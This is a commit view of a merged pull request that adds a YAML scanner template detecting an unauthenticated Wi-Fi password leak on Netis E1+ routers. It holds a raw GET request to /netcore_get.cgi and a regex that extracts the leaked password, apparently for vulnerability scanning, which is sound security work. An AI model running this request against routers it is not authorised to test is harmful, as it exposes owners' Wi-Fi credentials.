Merge pull request #2392 from gy741/rule-add-v55

Create netis-info-leak.yaml
patch-1
Prince Chaddha 2021-08-14 16:01:53 +05:30 committed by GitHub
commit 8c1deacce7
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 34 additions and 0 deletions

View File

@ -0,0 +1,34 @@
id: netis-info-leak
info:
name: Netis E1+ V1.2.32533 - Unauthenticated WiFi Password Leak
author: gy741
severity: medium
reference: https://www.exploit-db.com/exploits/48384
tags: netis,exposure
requests:
- raw:
- |
GET //netcore_get.cgi HTTP/1.1
Host: {{Hostname}}
Cookie: homeFirstShow=yes
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "rp_ap_password"
- "rp_ap_ssid"
part: body
condition: and
extractors:
- type: regex
part: body
regex:
- "'rp_soon_password':'([A-Za-z0-9]+)'"